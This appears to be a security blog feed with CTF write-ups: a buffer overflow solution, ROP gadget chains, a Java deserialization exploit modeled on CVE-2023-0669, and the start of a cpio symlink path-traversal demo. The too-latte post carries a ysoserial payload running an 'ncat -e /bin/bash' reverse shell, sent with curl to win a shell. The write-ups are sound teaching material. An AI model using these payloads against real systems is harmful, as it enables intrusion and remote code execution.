<span class="n">printf</span><span class="p">(</span><span class="s">"[BEFORE] buffer_two is at %p and contains </span><span class="se">\'</span><span class="s">%s</span><span class="se">\'\n</span><span class="s">"</span><span class="p">,</span> <span class="n">buffer_two</span><span class="p">,</span> <span class="n">buffer_two</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[BEFORE] buffer_one is at %p and contains </span><span class="se">\'</span><span class="s">%s</span><span class="se">\'\n</span><span class="s">"</span><span class="p">,</span> <span class="n">buffer_one</span><span class="p">,</span> <span class="n">buffer_one</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[BEFORE] value is at %p and is %d (0x%08x)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">&</span><span class="n">value</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="n">value</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">[STRCPY] copying %d bytes into buffer_two</span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]));</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">buffer_two</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="cm">/* copy first argument into buffer_two */</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[AFTER] buffer_two is at %p and contains </span><span class="se">\'</span><span class="s">%s</span><span class="se">\'\n</span><span class="s">"</span><span class="p">,</span> <span class="n">buffer_two</span><span class="p">,</span> <span class="n">buffer_two</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[AFTER] buffer_one is at %p and contains </span><span class="se">\'</span><span class="s">%s</span><span class="se">\'\n</span><span class="s">"</span><span class="p">,</span> <span class="n">buffer_one</span><span class="p">,</span> <span class="n">buffer_one</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[AFTER] value is at %p and is %d (0x%08x)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">&</span><span class="n">value</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="n">value</span><span class="p">);</span>
<span class="cm">/* Added for the CTF! */</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">buffer_one</span><span class="p">,</span> <span class="s">"hacked"</span><span class="p">))</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/home/ctf/flag.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">f</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">Failed to open flag.txt: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">strerror</span><span class="p">(</span><span class="n">errno</span><span class="p">));</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">fgets</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="mi">63</span><span class="p">,</span> <span class="n">f</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">Congratulations! %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">buffer</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">Please set buffer_one to </span><span class="se">\"</span><span class="s">hacked</span><span class="se">\"</span><span class="s">!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Basically, if you write more than 8 bytes into <code class="language-plaintext highlighter-rouge">buffer_two</code>, it overflows into
<code class="language-plaintext highlighter-rouge">buffer_one</code>. So the solution is to use the string <code class="language-plaintext highlighter-rouge">aaaaaaaahacked</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -v localhost 4445
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to ::1:4445.
Hey, I grabbed this code from Art of Exploitation. Can you set the value of
buffer_one to "hacked"?
Run it like:
./overflowme hello
ctf@8f0a7eff015b:~$ ./overflowme aaaaaaaahacked
./overflowme aaaaaaaahacked
[BEFORE] buffer_two is at 0xffbb03b8 and contains 'two'
[BEFORE] buffer_one is at 0xffbb03c0 and contains 'one'
[BEFORE] value is at 0xffbb03c8 and is 5 (0x00000005)
[STRCPY] copying 14 bytes into buffer_two
[AFTER] buffer_two is at 0xffbb03b8 and contains 'aaaaaaaahacked'
[AFTER] buffer_one is at 0xffbb03c0 and contains 'hacked'
[AFTER] value is at 0xffbb03c8 and is 5 (0x00000005)
Congratulations! CTF{overflow-successful}
</code></pre></div></div>
<p>That’s it!</p>ronOverflow is a straight-forward buffer overflow challenge that I copied from the Hacking: Art of Exploitation examples CD. I just added a flag. Full source is here.BSidesSF 2023 Writeups: ROP Petting Zoo (educational challenge!)2023-04-24T00:08:44+00:002023-04-24T00:08:44+00:00https://www.skullsecurity.org/2023/bsidessf-2023-writeups-rop-petting-zoo<p>ROP Petting Zoo is a challenge designed to teach the principles of
return-oriented programming. It’s mostly written in Javascript, with a backend
powered by a Ruby web server, along with a tool I wrote called
<a href="https://github.com/iagox86/mandrake">Mandrake</a>. Source code is shared between
the three parts of the challenge, and is available
<a href="https://github.com/BSidesSF/ctf-2023-release/tree/main/rop-petting-zoo-1">here</a>.</p>
<!--more-->
<p>Mandrake is a debugger / tracer I wrote that executes a binary and traces all
code run between two points. It will show registers, memory, all the good stuff.
ROP Petting Zoo is kind of a wrapper around that.</p>
<p>Basically, you have a list of potential ROP gadgets and libc calls. You build
a stack from all the ROP gadgets, hit <code class="language-plaintext highlighter-rouge">Execute!</code>, and the harness will return to
the first address on the stack.</p>
<p>Everything is running forreal in a container, so you get to see what would
actually happen if this is a real exploit!</p>
<p>The challenges are very guided / on-rails, with tutorials that show the exact
steps you will need to take, but here are the solutions I wrote.</p>
<p>It’s helpful to remember that when a function is called, the arguments are,
in order, passed in the registers <code class="language-plaintext highlighter-rouge">rdi</code>, <code class="language-plaintext highlighter-rouge">rsi</code>, <code class="language-plaintext highlighter-rouge">rdx</code>, and <code class="language-plaintext highlighter-rouge">rcx</code>.</p>
<h2 id="level-1">Level 1</h2>
<ul>
<li><code class="language-plaintext highlighter-rouge">print_flag()</code> -> Immediately return to <code class="language-plaintext highlighter-rouge">print_flag</code></li>
<li><code class="language-plaintext highlighter-rouge">pop rdi / ret</code> -> Pop the next value into register <code class="language-plaintext highlighter-rouge">rdi</code></li>
<li><code class="language-plaintext highlighter-rouge">0</code> -> This is what’s popped into <code class="language-plaintext highlighter-rouge">rdi</code></li>
<li><code class="language-plaintext highlighter-rouge">exit</code> -> Return to <code class="language-plaintext highlighter-rouge">exit(rdi)</code> aka <code class="language-plaintext highlighter-rouge">exit(0)</code></li>
</ul>
<h2 id="level-2">Level 2</h2>
<ul>
<li><code class="language-plaintext highlighter-rouge">return_flag()</code> -> Returns the flag in <code class="language-plaintext highlighter-rouge">rax</code></li>
<li><code class="language-plaintext highlighter-rouge">mov rdi, rax / ret</code> -> Moves the flag pointer into <code class="language-plaintext highlighter-rouge">rdi</code></li>
<li><code class="language-plaintext highlighter-rouge">puts</code> -> Return to <code class="language-plaintext highlighter-rouge">puts(rdi)</code> or <code class="language-plaintext highlighter-rouge">puts(flag)</code></li>
<li><code class="language-plaintext highlighter-rouge">pop rdi / ret</code> -> Pop the next value into <code class="language-plaintext highlighter-rouge">rdi</code></li>
<li><code class="language-plaintext highlighter-rouge">0</code> -> This is what’s popped into <code class="language-plaintext highlighter-rouge">rdi</code></li>
<li><code class="language-plaintext highlighter-rouge">exit</code> -> Return to <code class="language-plaintext highlighter-rouge">exit(rdi)</code> aka <code class="language-plaintext highlighter-rouge">exit(0)</code></li>
</ul>
<h2 id="level-3">Level 3</h2>
<p>This part unfortunately ran a lot slower than I’d intended, but hopefully it’s
educational enough:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">write_flag_to_file()</code> -> Writes the flag to a file, returns the name in <code class="language-plaintext highlighter-rouge">rax</code></li>
<li><code class="language-plaintext highlighter-rouge">mov rdi, rax / ret</code> -> Moves the filename to <code class="language-plaintext highlighter-rouge">rdi</code>, the first parameter to <code class="language-plaintext highlighter-rouge">fopen()</code></li>
<li><code class="language-plaintext highlighter-rouge">get_letter_r</code> -> Returns a pointer to the string <code class="language-plaintext highlighter-rouge">"r"</code></li>
<li><code class="language-plaintext highlighter-rouge">mov rsi, rax / ret</code> -> Moves the string <code class="language-plaintext highlighter-rouge">"r"</code> to <code class="language-plaintext highlighter-rouge">rsi</code>, the second parameter to <code class="language-plaintext highlighter-rouge">fopen()</code></li>
<li><code class="language-plaintext highlighter-rouge">fopen()</code> -> Return to <code class="language-plaintext highlighter-rouge">fopen(rdi, rsi)</code>, which is <code class="language-plaintext highlighter-rouge">fopen(filename, "r")</code></li>
<li><code class="language-plaintext highlighter-rouge">mov rdx, rax / ret</code> -> Move the file handle into <code class="language-plaintext highlighter-rouge">rdx</code>, the third parameter to <code class="language-plaintext highlighter-rouge">fgets()</code></li>
<li><code class="language-plaintext highlighter-rouge">get_writable_memory()</code> -> Get a pointer to some writable memory</li>
<li><code class="language-plaintext highlighter-rouge">mov rdi, rax / ret</code> -> Move the pointer to writable memory to <code class="language-plaintext highlighter-rouge">rdi</code>, the first parameter to <code class="language-plaintext highlighter-rouge">fgets()</code></li>
<li><code class="language-plaintext highlighter-rouge">pop rsi / ret</code> -> Move the next value into <code class="language-plaintext highlighter-rouge">rsi</code>, the second parameter to <code class="language-plaintext highlighter-rouge">fgets()</code></li>
<li><code class="language-plaintext highlighter-rouge">0xff</code> -> This is what’s moved into <code class="language-plaintext highlighter-rouge">rsi</code></li>
<li><code class="language-plaintext highlighter-rouge">fgets()</code> -> Calls <code class="language-plaintext highlighter-rouge">fgets(rdi, rsi, rdx)</code>, or <code class="language-plaintext highlighter-rouge">fgets(writable_memory, 0xff, file_handle)</code></li>
<li><code class="language-plaintext highlighter-rouge">get_writable_memory()</code> -> Gets a handle to the writable memory again</li>
<li><code class="language-plaintext highlighter-rouge">mov rdi, rax / ret</code> -> Move the writable memory handle into <code class="language-plaintext highlighter-rouge">rdi</code>, the first argument to <code class="language-plaintext highlighter-rouge">puts</code></li>
<li><code class="language-plaintext highlighter-rouge">puts</code> -> Call <code class="language-plaintext highlighter-rouge">puts(rdi)</code>, or <code class="language-plaintext highlighter-rouge">puts(writable_memory)</code></li>
<li><code class="language-plaintext highlighter-rouge">pop rdi / ret</code> -> Move the next value into <code class="language-plaintext highlighter-rouge">rdi</code>, the first parameter to <code class="language-plaintext highlighter-rouge">exit()</code></li>
<li><code class="language-plaintext highlighter-rouge">0</code> -> This is what goes into <code class="language-plaintext highlighter-rouge">rdi</code></li>
<li><code class="language-plaintext highlighter-rouge">exit()</code> -> <code class="language-plaintext highlighter-rouge">exit(rdi)</code> aka <code class="language-plaintext highlighter-rouge">exit(0)</code></li>
</ul>ronROP Petting Zoo is a challenge designed to teach the principles of return-oriented programming. It’s mostly written in Javascript, with a backend powered by a Ruby web server, along with a tool I wrote called Mandrake. Source code is shared between the three parts of the challenge, and is available here.BSidesSF 2023 Writeups: too-latte (medium-difficulty Java exploitation)2023-04-24T00:08:44+00:002023-04-24T00:08:44+00:00https://www.skullsecurity.org/2023/bsidessf-2023-writeups-too-latte<p><a href="https://github.com/BSidesSF/ctf-2023-release/tree/main/too-latte"><code class="language-plaintext highlighter-rouge">too-latte</code></a>
is a challenge I wrote based on
<a href="https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis">CVE-2023-0669</a>,
which is an unsafe deserialization vulnerability in Fortra’s GoAnywhere MFT
software. I modeled all the vulnerable code off, as much as I could, that
codebase. It’s obviously themed quite differently.</p>
<!--more-->
<h1 id="write-up">Write-up</h1>
<p>If you use a tool like <a href="https://github.com/skylot/jadx">jadx</a> to unpack the
servlets, you’ll find, through some layers of indirection, this code in
TokenWorker.java (that operates on the <code class="language-plaintext highlighter-rouge">token</code> parameter):</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="kd">static</span> <span class="nc">String</span> <span class="nf">unbundle</span><span class="o">(</span><span class="nc">String</span> <span class="n">token</span><span class="o">,</span> <span class="nc">KeyConfig</span> <span class="n">keyConfig</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
<span class="n">token</span> <span class="o">=</span> <span class="n">token</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="mi">0</span><span class="o">,</span> <span class="n">token</span><span class="o">.</span><span class="na">indexOf</span><span class="o">(</span><span class="s">"$"</span><span class="o">));</span>
<span class="k">return</span> <span class="k">new</span> <span class="nf">String</span><span class="o">(</span><span class="n">decompress</span><span class="o">(</span><span class="n">verify</span><span class="o">(</span><span class="n">decrypt</span><span class="o">(</span><span class="n">decode</span><span class="o">(</span><span class="n">token</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(</span><span class="nc">StandardCharsets</span><span class="o">.</span><span class="na">UTF_8</span><span class="o">)),</span> <span class="n">keyConfig</span><span class="o">.</span><span class="na">getVersion</span><span class="o">()),</span> <span class="n">keyConfig</span><span class="o">)),</span> <span class="nc">StandardCharsets</span><span class="o">.</span><span class="na">UTF_8</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">decode</code> function decodes the <code class="language-plaintext highlighter-rouge">token</code> parameter from <code class="language-plaintext highlighter-rouge">Base64</code>.</p>
<p>The <code class="language-plaintext highlighter-rouge">decrypt</code> function decrypts the token with a static key. The actual decryption
code is under several layers of indirection, because Java is Java, but the
<code class="language-plaintext highlighter-rouge">TokenEncryptor</code> class has a key, IV, and algorithm:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">byte</span><span class="o">[]</span> <span class="no">IV</span> <span class="o">=</span> <span class="o">{</span><span class="mi">1</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="mi">3</span><span class="o">,</span> <span class="mi">4</span><span class="o">,</span> <span class="mi">5</span><span class="o">,</span> <span class="mi">6</span><span class="o">,</span> <span class="mi">7</span><span class="o">,</span> <span class="mi">8</span><span class="o">,</span> <span class="mi">9</span><span class="o">,</span> <span class="mi">10</span><span class="o">,</span> <span class="mi">11</span><span class="o">,</span> <span class="mi">12</span><span class="o">,</span> <span class="mi">13</span><span class="o">,</span> <span class="mi">14</span><span class="o">,</span> <span class="mi">15</span><span class="o">,</span> <span class="mi">16</span><span class="o">};</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span> <span class="no">KEY_ALGORITHM</span> <span class="o">=</span> <span class="s">"AES"</span><span class="o">;</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span> <span class="no">CIPHER_ALGORITHM</span> <span class="o">=</span> <span class="s">"AES/CBC/PKCS5Padding"</span><span class="o">;</span>
<span class="c1">// [...]</span>
<span class="c1">// This actually gets a key</span>
<span class="kd">private</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">getInitializationValue</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
<span class="k">return</span> <span class="nc">SecretKeyFactory</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"PBKDF2WithHmacSHA1"</span><span class="o">).</span><span class="na">generateSecret</span><span class="o">(</span><span class="k">new</span> <span class="nc">PBEKeySpec</span><span class="o">(</span><span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="s">"cafelatteTokenP@$$wrd"</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(),</span> <span class="s">"UTF-8"</span><span class="o">).</span><span class="na">toCharArray</span><span class="o">(),</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[]{</span><span class="mi">12</span><span class="o">,</span> <span class="mi">56</span><span class="o">,</span> <span class="mi">72</span><span class="o">,</span> <span class="mi">86</span><span class="o">,</span> <span class="mi">73</span><span class="o">,</span> <span class="mi">99</span><span class="o">,</span> <span class="mi">35</span><span class="o">,</span> <span class="mi">44</span><span class="o">,</span> <span class="mi">35</span><span class="o">,</span> <span class="mi">97</span><span class="o">,</span> <span class="mi">45</span><span class="o">,</span> <span class="mi">45</span><span class="o">,</span> <span class="mi">89</span><span class="o">,</span> <span class="mi">23</span><span class="o">,</span> <span class="mi">33</span><span class="o">,</span> <span class="mi">67</span><span class="o">},</span> <span class="mi">3392</span><span class="o">,</span> <span class="mi">256</span><span class="o">)).</span><span class="na">getEncoded</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Instead of figuring out what to do, we can write our own code to call that
function the way we did in <code class="language-plaintext highlighter-rouge">flat-white-extra-shot</code>:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">java.lang.reflect.Method</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Arrays</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">GetKey</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
<span class="nc">Method</span> <span class="n">method</span> <span class="o">=</span> <span class="n">org</span><span class="o">.</span><span class="na">bsidessf</span><span class="o">.</span><span class="na">ctf</span><span class="o">.</span><span class="na">toolatte</span><span class="o">.</span><span class="na">TokenEncryptor</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">getDeclaredMethod</span><span class="o">(</span><span class="s">"getInitializationValue"</span><span class="o">);</span>
<span class="n">method</span><span class="o">.</span><span class="na">setAccessible</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="kt">byte</span> <span class="o">[]</span><span class="n">key</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">[])</span><span class="n">method</span><span class="o">.</span><span class="na">invoke</span><span class="o">(</span><span class="kc">null</span><span class="o">);</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="nc">Arrays</span><span class="o">.</span><span class="na">toString</span><span class="o">(</span><span class="n">key</span><span class="o">));</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Then compile and execute it, using the included .jar file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ javac -cp .:./TooLatte.jar GetKey.java
$ java -cp .:./TooLatte.jar GetKey
[-48, 63, 50, 98, -65, -28, -41, -100, -93, -34, -28, -105, -49, -1, 22, -54, 125, -117, -46, 123, -78, -120, -11, 104, -35, -98, 61, 65, -11, -55, 79, -20]
</code></pre></div></div>
<p>Now that we have all the crypto information, we can replicate <code class="language-plaintext highlighter-rouge">decrypt()</code>! The
next thing on our list of functions is <code class="language-plaintext highlighter-rouge">verify()</code>:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">private</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">verify</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">data</span><span class="o">,</span> <span class="nc">KeyConfig</span> <span class="n">keyConfig</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
<span class="nc">ObjectInputStream</span> <span class="n">objectInputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
<span class="nc">PublicKey</span> <span class="n">publicKey</span> <span class="o">=</span> <span class="n">getPublicKey</span><span class="o">(</span><span class="n">keyConfig</span><span class="o">);</span>
<span class="nc">ObjectInputStream</span> <span class="n">objectInputStream2</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ObjectInputStream</span><span class="o">(</span><span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">data</span><span class="o">));</span>
<span class="nc">SignedObject</span> <span class="n">signedObject</span> <span class="o">=</span> <span class="o">(</span><span class="nc">SignedObject</span><span class="o">)</span> <span class="n">objectInputStream2</span><span class="o">.</span><span class="na">readObject</span><span class="o">();</span>
<span class="k">if</span> <span class="o">(!</span><span class="n">signedObject</span><span class="o">.</span><span class="na">verify</span><span class="o">(</span><span class="n">publicKey</span><span class="o">,</span> <span class="nc">Signature</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"SHA512withRSA"</span><span class="o">)))</span> <span class="o">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nf">IOException</span><span class="o">(</span><span class="s">"Unable to verify signature! Did you send us a Token Request by mistake?"</span><span class="o">);</span>
<span class="o">}</span>
<span class="kt">byte</span><span class="o">[]</span> <span class="n">outData</span> <span class="o">=</span> <span class="o">((</span><span class="nc">SignedContainer</span><span class="o">)</span> <span class="n">signedObject</span><span class="o">.</span><span class="na">getObject</span><span class="o">()).</span><span class="na">getData</span><span class="o">();</span>
<span class="k">if</span> <span class="o">(</span><span class="n">objectInputStream2</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
<span class="n">objectInputStream2</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="o">}</span>
<span class="k">return</span> <span class="n">outData</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>
<p>If you’re familiar with Java security, there’s a huge red flag there -
<code class="language-plaintext highlighter-rouge">ObjectInputStream</code>! That’s a deserialization sink - in other words, if we can
control the data going into it (which we can!), we can run arbitrary commands!</p>
<p>Passing the verification doesn’t matter, nor does anything after it. We can now
grab <a href="https://github.com/frohoff/ysoserial">ysoserial</a>, create a payload,
encrypt it, and send it along.</p>
<p>First, let’s generate a payload (I’ve intentionally included the necessary
files for <code class="language-plaintext highlighter-rouge">CommonBeanutils1</code> to work):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 'ncat -e /bin/bash 10.0.0.22 4444' > /tmp/javapayload.ser
</code></pre></div></div>
<p>Then let’s use <code class="language-plaintext highlighter-rouge">irb</code> (interactive Ruby) to encrypt/encode it:</p>
<div class="language-irb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">$ irb
3.1.3 :001 > require 'openssl'
=> true
3.1.3 :002 > require 'base64'
=> true
3.1.3 :003 > payload = File.read('/tmp/javapayload.ser')
=> "\xAC\xED\u0000\u0005sr\u0000\u0017java.util.PriorityQueue\x94\xDA0\xB4\xFB?\x82\xB1\u0003\u0000\u0002I\u0000\u0004sizeL\u0000\ncomparatort\u0...
3.1.3 :004 > cipher = OpenSSL::Cipher.new('AES-256-CBC')
=> #<OpenSSL::Cipher:0x00007fd294a25a58>
3.1.3 :005 > cipher.encrypt
=> #<OpenSSL::Cipher:0x00007fd294a25a58>
3.1.3 :006 > cipher.iv = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
=> "\u0001\u0002\u0003\u0004\u0005\u0006\a\b\t\n\v\f\r\u000E\u000F\u0010"
3.1.3 :007 > cipher.key = "\xd0\x3f\x32\x62\xbf\xe4\xd7\x9c\xa3\xde\xe4\x97\xcf\xff\x16\xca\x7d\x8b\xd2\x7b\xb2\x88\xf5\x68\xdd\x9e\x3d\x41\xf5\xc9\x4f\
xec"
=> "\xD0?2b\xBF\xE4ל\xA3\xDE\xE4\x97\xCF\xFF\u0016\xCA}\x8B\xD2{\xB2\x88\xF5hݞ=A\xF5\xC9O\xEC"
3.1.3 :008 > puts Base64::urlsafe_encode64(cipher.update(payload) + cipher.final()) + "$2"
iRNXnWJjCrdkfbDk2b[......]
</span></code></pre></div></div>
<p>Then we start our Netcat listener in one window:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
</code></pre></div></div>
<p>And send that payload in another:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl 'http://localhost:8080/validate?token=iRNXnWJjCrdkfbDk2b[......]
java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException
</code></pre></div></div>
<p>And in our first window, we get a shell!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.0.0.22.
Ncat: Connection from 10.0.0.22:37132.
whoami
tomcat
cat /flag.txt
CTF{good-work-you-saved-humanity}
</code></pre></div></div>rontoo-latte is a challenge I wrote based on CVE-2023-0669, which is an unsafe deserialization vulnerability in Fortra’s GoAnywhere MFT software. I modeled all the vulnerable code off, as much as I could, that codebase. It’s obviously themed quite differently.Blast from the Past: How Attackers Compromised Zimbra With a Patched Vulnerability2023-01-23T20:14:17+00:002023-01-23T20:14:17+00:00https://www.skullsecurity.org/2023/cpio-vuln<p>Last year, I worked on a vulnerability in Zimbra
(<a href="https://nvd.nist.gov/vuln/detail/CVE-2022-41352">CVE-2022-41352</a> - <a href="https://attackerkb.com/topics/1DDTvUNFzH/cve-2022-41352/rapid7-analysis">my
AttackerKB analysis</a> for Rapid7)
that turned out to be a new(-ish) exploit path for a really old bug in <code class="language-plaintext highlighter-rouge">cpio</code> -
CVE-2015-1194. But that was patched in 2019, so what happened?</p>
<p>(I posted this as a tweet-thread awhile back, but I decided to flesh it out and
make it into a full blog post!)</p>
<!--more-->
<p><code class="language-plaintext highlighter-rouge">cpio</code> is an archive tool commonly used for system-level stuff (firmware images
and such). It can also extract other format, like <code class="language-plaintext highlighter-rouge">.tar</code>, which we’ll use since
it’s more familiar.</p>
<p><code class="language-plaintext highlighter-rouge">cpio</code> has a flag (<code class="language-plaintext highlighter-rouge">--no-absolute-filenames</code>), off by default,
that purports to prevent writing files outside of the target directory. That’s
handy when, for example, extracting untrusted files with <a href="https://gitlab.com/amavis/amavis">Amavis</a>
(like Zimbra does).</p>
<p>The problem is, symbolic links can point to absolute paths, and therefore, even
with <code class="language-plaintext highlighter-rouge">--no-absolute-filenames</code>, there was no safe way to extract an untrusted
archive (outside of using a <code class="language-plaintext highlighter-rouge">chroot</code> environment or something similar, which
they really ought to do).</p>
<p>Much later, in 2019, the <code class="language-plaintext highlighter-rouge">cpio</code> team released <code class="language-plaintext highlighter-rouge">cpio</code> version 2.13, which
<a href="https://git.savannah.gnu.org/cgit/cpio.git/commit/?id=45b0ee2b">includes a patch for
CVE-2015-1194</a>,
with unit tests and everything.</p>
<p>Some (not all) modern OSes include the patched version of cpio, which should be
the end of the story, but it’s not!</p>
<p>I’m currently writing this on Fedora 35, so let’s try exploiting it. We can
confirm that the version of <code class="language-plaintext highlighter-rouge">cpio</code> installed with the OS is, indeed, the fixed
version:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ron@fedora ~ <span class="nv">$ </span>cpio <span class="nt">--version</span>
cpio <span class="o">(</span>GNU cpio<span class="o">)</span> 2.13
Copyright <span class="o">(</span>C<span class="o">)</span> 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by Phil Nelson, David MacKenzie, John Oleynick,
and Sergey Poznyakoff.
</code></pre></div></div>
<p>That means that we shouldn’t be able to use symlinks to write outside of the
target directory, so let’s create a <code class="language-plaintext highlighter-rouge">.tar</code> file that includes a symlink and a
file written through that symlink (this is largely copied from
<a href="https://lists.gnu.org/archive/html/bug-cpio/2015-01/msg00000.html">this mailing list post</a>:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ron@fedora ~ <span class="nv">$ </span><span class="nb">mkdir </span>cpiotest
ron@fedora ~ <span class="nv">$ </span><span class="nb">cd </span>cpiotest
ron@fedora ~/cpiotest <span class="nv">$ </span><span class="nb">ln</span> <span class="nt">-s</span> /tmp/ ./demo
ron@fedora ~/cpiotest <span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'hello'</span> <span class="o">></span> demo/imafile
ron@fedora ~/cpiotest <span class="nv">$ </span><span class="nb">tar</span> <span class="nt">-cvf</span> demo.tar demo demo/imafile
demo
demo/imafile
ron@fedora ~/cpiotest <span class="nv">$ </span><span class="nb">rm</span> <span class="nt">-f</span> demo /tmp/imafile
</code></pre></div></div>
<p>So now we have a <code class="language-plaintext highlighter-rouge">.tar</code> with a symlink that goes outside the directory:</p>
